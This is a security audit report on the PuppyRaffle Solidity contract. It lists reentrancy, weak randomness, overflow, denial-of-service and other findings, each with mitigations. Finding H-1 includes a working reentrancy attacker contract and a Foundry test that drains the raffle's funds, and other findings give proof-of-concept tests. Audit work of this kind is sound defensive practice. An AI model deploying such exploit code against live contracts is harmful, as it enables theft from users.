PuppyRaffle Protocol Audit Report

Version 1.0

Abdullah Amr

June 29, 2026

Prepared by: Abdullah Amr

Lead Auditor:

- Abdullah Amr

Table of Contents

Protocol Summary

The protocol allows users to enter a raffle by paying an entrance fee. Once enough players have entered and the raffle duration has passed, anyone can call `selectWinner` to choose a winner, distribute the prize pool, and mint a puppy NFT to the winner. Users may also request a refund before the raffle is completed.

Disclaimer

The Abdullah Amr team made every effort to identify as many vulnerabilities as possible within the given time period. However, this report does not guarantee that all vulnerabilities were found.

A security audit is not an endorsement of the underlying business or product. The review was time-boxed and focused only on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Severity is evaluated using the CodeHawks severity matrix.

Audit Details

Scope

```
../src/PuppyRaffle.sol
```

Roles

- **Owner:** The privileged account that can update the `feeAddress` by calling `changeFeeAddress`.
- **Players / Participants:** Users who enter the raffle by paying the required `entranceFee`. Players can also request a refund by calling `refund` before the raffle is completed.
- **Winner:** The selected player who receives 80% of the total raffle funds and is minted a puppy NFT.
- **Fee Address:** The address that receives the protocol fees collected from raffles. The fee address receives 20% of the total raffle funds through `withdrawFees`.
- **External Caller / Keeper:** Any address can call `selectWinner` once the raffle duration has passed and there are at least four players.

Executive Summary

The audit was performed using manual review and Foundry-based testing, including fuzz testing where applicable.

The review included:

- Manual inspection of the Solidity codebase
- Foundry unit testing
- Foundry fuzz testing
- Review of access control assumptions
- Review of NatSpec comments and documentation

Issues Found

Severity	Number of Issues
High	3
Medium	4
Low	1
Gas	2
Informational	9
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows an entrant to drain the raffle balance

Description:
`PuppyRaffle::refund` does not follow the Checks-Effects-Interactions (CEI) pattern. The function sends ETH to the caller before updating the player's status in the `players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

    payable(msg.sender).sendValue(entranceFee);

    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

Because the external call happens before the player is removed, a malicious participant can use a `receive` or `fallback` function to re-enter `refund` multiple times using the same `playerIndex` .

Impact:
Funds paid by honest raffle entrants can be stolen by a malicious participant. The attacker only needs to enter once, then repeatedly claim refunds before their player slot is cleared.

Proof of Concept:
The attacker enters the raffle once and calls `refund`. During the ETH transfer, the attacker's `receive` function is triggered and re-enters `refund` before the player is removed from the array. This allows the attacker to receive multiple refunds while paying only one entrance fee.

Place the following test in `PuppyRaffleTest.t.sol`:

Code

```
function testReentrancyRefund() public {
    address[] memory players = new address[](2);
    players[0] = playerOne;
    players[1] = playerTwo;
    puppyRaffle.enterRaffle{value: entranceFee * 2}(players);

    Attacker attackerContract = new Attacker(puppyRaffle);

    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackerBalance = address(attackerContract).balance;
    uint256 startingRaffleBalance = address(puppyRaffle).balance;

    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    uint256 endingAttackerBalance = address(attackerContract).balance;
```

```
        uint256 endingRaffleBalance = address(puppyRaffle).balance;

        console.log("Starting attacker balance:", startingAttackerBalance);
        console.log("Starting raffle balance:", startingRaffleBalance);
        console.log("Ending attacker balance:", endingAttackerBalance);
        console.log("Ending raffle balance:", endingRaffleBalance);

        assertGt(endingAttackerBalance, startingAttackerBalance +
            entranceFee);
        assertLt(endingRaffleBalance, startingRaffleBalance);
    }
```

Attacker contract:

```
contract Attacker {
    PuppyRaffle public puppyRaffle;
    uint256 public entranceFee;
    uint256 public playerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee}(players);

        playerIndex = puppyRaffle.getActivePlayerIndex(address(this));

        puppyRaffle.refund(playerIndex);
    }

    function _steal() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(playerIndex);
        }
    }

    receive() external payable {
        _steal();
    }

    fallback() external payable {
        _steal();
    }
}
```

Recommended Mitigation:

Update the `players` array before making the external call. This follows the CEI pattern and prevents reentrancy using the same player index.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to predict the winner and influence puppy rarity

Description:

`PuppyRaffle::selectWinner` generates randomness by hashing predictable values such as `msg.sender`, `block.timestamp`, and `block.difficulty`.

```
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
```

These values should not be used as a secure source of randomness. `block.timestamp` can be slightly influenced by validators, `block.difficulty` is no longer a reliable randomness source after Ethereum's transition to Proof of Stake, and `msg.sender` can be controlled by the caller.

As a result, a malicious user may be able to predict or influence the winner selection and puppy rarity.

Impact:

A malicious user can manipulate or predict the raffle outcome, allowing them to win the prize pool and potentially receive the rarest puppy. This breaks the fairness of the raffle and makes the protocol unreliable.

Additionally, if users can predict that they will not win before `selectWinner` is finalized, they may attempt to front-run the transaction and call `refund`, avoiding loss while honest users remain exposed.

Proof of Concept:

1. The winner is selected using predictable inputs: `msg.sender`, `block.timestamp`, and `block.difficulty`.
2. A malicious caller can control `msg.sender` by calling `selectWinner` from different addresses or contracts.
3. Validators may have influence over block values such as `block.timestamp`.
4. If the generated winner or puppy rarity is unfavorable, the caller can choose not to execute the transaction or try again under different conditions.
5. This allows the attacker to influence the winner and puppy rarity outcome.

Recommended Mitigation:
Use a secure, verifiable randomness source such as Chainlink VRF instead of relying on block values and caller-controlled inputs.

[H-3] `PuppyRaffle::totalFees` can overflow and permanently block fee withdrawals

Description:
The contract uses Solidity `0.7.6`, where arithmetic overflow does not automatically revert. `PuppyRaffle::selectWinner` stores accumulated protocol fees in a `uint64`.

```
1 totalFees = totalFees + uint64(fee);
```

Since `uint64` can only store up to `18,446,744,073,709,551,615` wei, the accumulated fees can overflow once enough raffles are completed.

```
1 uint64 myVal = type(uint64).max;
2 myVal = myVal + 1;
3 // myVal becomes 0 in Solidity versions before 0.8.0
```

Impact:
If `totalFees` overflows, the protocol loses accurate fee accounting. Since `withdrawFees` requires the contract balance to exactly equal `totalFees`, fee withdrawals can become permanently blocked and funds can remain stuck in the contract.

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Proof of Concept:

1. Four players enter the raffle.
2. The first raffle completes and collects `0.8 ether` in fees.
3. Another 92 players enter the raffle.
4. The second raffle completes and adds `18.4 ether` in fees.

5. The expected total fees are `19.2 ether`, which exceeds `type(uint64).max`.
6. `totalFees` wraps to `0.753255926290448384 ether`.
7. `withdrawFees` reverts because the actual contract balance no longer matches `totalFees`.

Code

```
function testOverflow() public {
    address[] memory players = new address[](4);
    players[0] = makeAddr("0x123");
    players[1] = makeAddr("0x124");
    players[2] = makeAddr("0x125");
    players[3] = makeAddr("0x126");

    puppyRaffle.enterRaffle{value: players.length * entranceFee}(
        players);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    uint256 startingTotalFee = puppyRaffle.totalFees();
    console.log("Starting total fees:", startingTotalFee);

    uint256 len = 92;
    address[] memory newPlayers = new address[](len);
    for (uint256 i; i < newPlayers.length; i++) {
        newPlayers[i] = address(uint160(i));
    }

    puppyRaffle.enterRaffle{value: newPlayers.length * entranceFee}(
        newPlayers);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    uint256 endingTotalFee = puppyRaffle.totalFees();
    console.log("Ending total fees:", endingTotalFee);

    assertLt(endingTotalFee, startingTotalFee);

    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation:

Use a newer Solidity compiler version and store `totalFees` as `uint256` instead of `uint64`.

```
- uint64 public totalFees = 0;
```

```
2 + uint256 public totalFees = 0;
```

Remove the unsafe cast:

```
1 - totalFees = totalFees + uint64(fee);
2 + totalFees = totalFees + fee;
```

The strict balance equality check in `withdrawFees` should also be removed because it can be broken by forced ETH transfers.

```
1 function withdrawFees() external {
2 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
3     uint256 feesToWithdraw = totalFees;
4     totalFees = 0;
5
6     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
7     require(success, "PuppyRaffle: Failed to withdraw fees");
8 }
```

Medium

[M-1] Denial of Service via unbounded duplicate-check loop in `PuppyRaffle::enterRaffle`

Description:
`PuppyRaffle::enterRaffle` checks for duplicate players by iterating through the entire `players` array using nested loops. As the `players` array grows, the number of comparisons increases significantly, causing the gas cost of `enterRaffle` to increase for later entrants.

Impact:
As the `players` array grows, `enterRaffle` becomes increasingly expensive to call. Eventually, the function can become unusable because the transaction may exceed the block gas limit, preventing new users from entering the raffle.

Proof of Concept:
If two sets of 100 players enter the raffle, the second group costs significantly more gas than the first group.

Example result:

- Gas for first 100 players: `~6,523,125`
- Gas for second 100 players: `~18,995,053`

Add the following test to `PuppyRaffleTest.t.sol`:

Code

```
function test_Dos_Attack() public {
    address[] memory players = new address[](100);

    for (uint256 i = 0; i < 100; i++) {
        players[i] = address(uint160(i + 1));
    }

    uint256 gasStartA = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
       players);
    uint256 gasUsedA = gasStartA - gasleft();

    for (uint256 i = 0; i < 100; i++) {
        players[i] = address(uint160(i + 101));
    }

    uint256 gasStartB = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
       players);
    uint256 gasUsedB = gasStartB - gasleft();

    console.log("Gas for first 100 players:", gasUsedA);
    console.log("Gas for second 100 players:", gasUsedB);
    console.log("Difference:", gasUsedB - gasUsedA);

    assert(gasUsedB > gasUsedA);
}
```

Recommended Mitigation:

Use a mapping to track the raffle ID in which each player entered. This avoids the expensive nested duplicate-check loop while still allowing the same address to enter future raffle rounds.

```
+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 1;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
        Must send enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
+       address player = newPlayers[i];
+       require(addressToRaffleId[player] != raffleId, "PuppyRaffle:
   Duplicate player");
+       addressToRaffleId[player] = raffleId;
-       players.push(newPlayers[i]);
+       players.push(player);
    }

```

```
15 -    for (uint256 i = 0; i < players.length - 1; i++) {
16 -        for (uint256 j = i + 1; j < players.length; j++) {
17 -            require(players[i] != players[j], "PuppyRaffle: Duplicate
       player");
18 -        }
19 -    }
20
21      emit RaffleEnter(newPlayers);
22  }
23
24  function selectWinner() external {
25      // existing winner-selection logic
26 +    raffleId = raffleId + 1;
27  }
```

[M-2] Balance equality check in `PuppyRaffle::withdrawFees` can be griefed with forced ETH transfers

Description:

`PuppyRaffle::withdrawFees` requires the contract's ETH balance to exactly equal `totalFees`.

```
1  function withdrawFees() external {
2      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
           There are currently players active!");
3      uint256 feesToWithdraw = totalFees;
4      totalFees = 0;
5
6      (bool success,) = feeAddress.call{value: feesToWithdraw}("");
7      require(success, "PuppyRaffle: Failed to withdraw fees");
8  }
```

Even if the contract does not implement a payable `receive` or `fallback` function, an attacker can force ETH into the contract using `selfdestruct`. This breaks the equality check.

Impact:

A malicious user can prevent the `feeAddress` from withdrawing fees. For example, the attacker can front-run a `withdrawFees` transaction and force-send ETH to the contract, causing the withdrawal to revert.

Proof of Concept:

1. `PuppyRaffle` has `800 wei` in its balance and `800` stored in `totalFees`.
2. A malicious user force-sends `1 wei` to `PuppyRaffle` using `selfdestruct`.
3. `address(this).balance` becomes `801 wei`, while `totalFees` remains `800`.
4. `withdrawFees` reverts.

Recommended Mitigation:

Remove the balance equality check from `withdrawFees`.

```
function withdrawFees() external {
-    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
     uint256 feesToWithdraw = totalFees;
     totalFees = 0;

     (bool success,) = feeAddress.call{value: feesToWithdraw}("");
     require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[M-3] Unsafe cast of `fee` to `uint64` can cause incorrect fee accounting

Description:

In `PuppyRaffle::selectWinner`, `fee` is calculated as a `uint256` but then cast to `uint64`.

```
totalFees = totalFees + uint64(fee);
```

This is unsafe because if `fee` exceeds `type(uint64).max`, the value will be truncated in Solidity `0.7.6`.

The maximum value of a `uint64` is:

```
18,446,744,073,709,551,615 wei
```

This is only about `18.44 ether`. If a single raffle collects more than this amount in fees, the cast can corrupt the accounting value.

Impact:

The `feeAddress` may not collect the correct amount of fees. Incorrectly accounted fees can remain stuck in the contract.

Proof of Concept:

A similar effect can be reproduced in Foundry's Chisel:

```
uint256 max = type(uint64).max;
uint256 fee = max + 1;
uint64(fee);
// returns 0
```

Recommended Mitigation:

Store `totalFees` as `uint256` and remove the cast.

```
- uint64 public totalFees = 0;
```

```
2 + uint256 public totalFees = 0;
```

```
1 - totalFees = totalFees + uint64(fee);
2 + totalFees = totalFees + fee;
```

[M-4] Smart contract wallet winners that reject ETH can block raffle completion

Description:
`PuppyRaffle::selectWinner` sends the prize pool directly to the selected winner.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the winner is a smart contract wallet that does not implement a payable `receive` or `fallback` function, or intentionally reverts on receiving ETH, `selectWinner` will revert. Since `selectWinner` is responsible for resetting the raffle, the raffle can become difficult or impossible to complete.

Impact:
The raffle can fail to reset if the selected winner cannot receive ETH. This can delay or block the start of the next raffle and prevent the legitimate winner from receiving the prize.

Proof of Concept:

1. Multiple smart contract wallets enter the raffle.
2. At least one wallet rejects ETH transfers.
3. The raffle duration passes.
4. If the rejecting contract is selected as the winner, `selectWinner` reverts.
5. The raffle cannot complete until a successful winner-selection transaction occurs.

Recommended Mitigation:
Use a pull-payment model instead of directly pushing ETH to the winner. Store the winner's claimable prize in a mapping and allow the winner to call a separate `claimPrize` function.

```
1 Pull over push.
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns `0` for both non-existing players and the player at index `0`

Description:
`PuppyRaffle::getActivePlayerIndex` returns the player's index if the player is found in the `players` array. However, if the player is not found, the function also returns `0`.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }

    return 0;
}
```

This creates ambiguity because `0` can mean either:

1. The player is the first entrant in the raffle.
2. The player does not exist in the raffle.

As a result, an external caller cannot reliably distinguish between a valid player at index `0` and a player who has not entered the raffle.

Impact:
A player who is already entered at index `0` may incorrectly believe they are not part of the raffle. This could cause confusion and may lead the user to attempt entering again, wasting gas.

Proof of Concept:

1. A user enters the raffle as the first participant.
2. The user is stored at `players[0]`.
3. Calling `getActivePlayerIndex(user)` returns `0`.
4. Since the function also returns `0` when a player does not exist, the return value is ambiguous.

Recommended Mitigation:
Revert when the player is not found instead of returning `0`.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
```

```
4                 return i;
5             }
6         }
7
8         revert("PuppyRaffle: Player not found");
9     }
```

Alternatively, the function could return an `int256` and use `-1` to indicate that the player was not found, but reverting is cleaner and less error-prone.

Gas

[G-1] Unchanged variables should be declared `constant` or `immutable`

Description:
Reading from storage is more expensive than reading from `constant` or `immutable` values. Variables that are not updated after deployment should use `constant` or `immutable` where possible.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Cache storage array length outside loops

Description:
Every time `players.length` is read inside the loop, Solidity performs a storage read. Caching the length in memory is more gas-efficient.

```
1  + uint256 playersLength = players.length;
2
3  - for (uint256 i = 0; i < players.length - 1; i++) {
4  + for (uint256 i = 0; i < playersLength - 1; i++) {
5  -     for (uint256 j = i + 1; j < players.length; j++) {
6  +     for (uint256 j = i + 1; j < playersLength; j++) {
7             require(players[i] != players[j], "PuppyRaffle: Duplicate
                  player");
8         }
9     }
```

Informational

[I-1] Unspecific Solidity pragma

Consider using a specific Solidity compiler version instead of a wide version.

```
1 pragma solidity ^0.7.6;
```

Recommendation:

```
1 pragma solidity 0.7.6;
```

[I-2] Outdated Solidity compiler version

The contract uses Solidity `0.7.6`, which does not include the built-in overflow and underflow checks introduced in Solidity `0.8.0`.

Recommendation:
Use a recent Solidity compiler version where possible. At minimum, consider upgrading to Solidity `0.8.x` to benefit from built-in arithmetic safety checks.

[I-3] Address state variables are set without zero-address checks

Address state variables should be checked against `address(0)` before assignment.

Instances:

```
1 feeAddress = _feeAddress;
```

```
1 feeAddress = newFeeAddress;
```

Recommendation:

```
1 require(newFeeAddress != address(0), "PuppyRaffle: zero address");
```

[I-4] `PuppyRaffle::selectWinner` does not follow the CEI pattern

`PuppyRaffle::selectWinner` sends ETH to the winner before completing all internal actions. It is better to follow the Checks-Effects-Interactions (CEI) pattern and perform external calls after internal updates.

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
  _safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of magic numbers is discouraged

Numeric literals can make code harder to read and maintain. Named constants improve readability.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Consider using:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

State changes should emit events where appropriate so off-chain indexers and monitoring systems can track protocol activity.

Instance:

```
function withdrawFees() external {
```

Recommendation:
Emit an event after fees are withdrawn.

[I-7] `PuppyRaffle::_isActivePlayer` is unused

`_isActivePlayer` is never used and should be removed to reduce code size and improve readability.

```
- function _isActivePlayer() internal view returns (bool) {
-     for (uint256 i = 0; i < players.length; i++) {
-         if (players[i] == msg.sender) {
-             return true;
-         }
-     }
```

```
7 -     return false;
8 - }
```

[I-8] Unchanged state variables should be declared `constant`

State variables that are not updated after deployment should be declared `constant` to save gas and make intent clearer.

Instances:

```
1 string private commonImageUri = "ipfs://
    QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
```

```
1 string private rareImageUri = "ipfs://
    QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
```

```
1 string private legendaryImageUri = "ipfs://
    QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

[I-9] Zero address may be incorrectly considered an active player

Description:
`refund` removes active players from the `players` array by setting their slot to `address(0)`. This is confirmed by the function documentation, which states that the function allows blank spots in the array. However, `getActivePlayerIndex` does not skip zero addresses.

If someone calls `getActivePlayerIndex(address(0))` after a refund, the function may return the index of a blank slot and incorrectly treat the zero address as an active player.

Recommended Mitigation:
Skip zero addresses when iterating through the `players` array in `getActivePlayerIndex`. Additionally, prevent `address(0)` from entering the raffle in `enterRaffle`.

```
1 require(newPlayers[i] != address(0), "PuppyRaffle: zero address");
```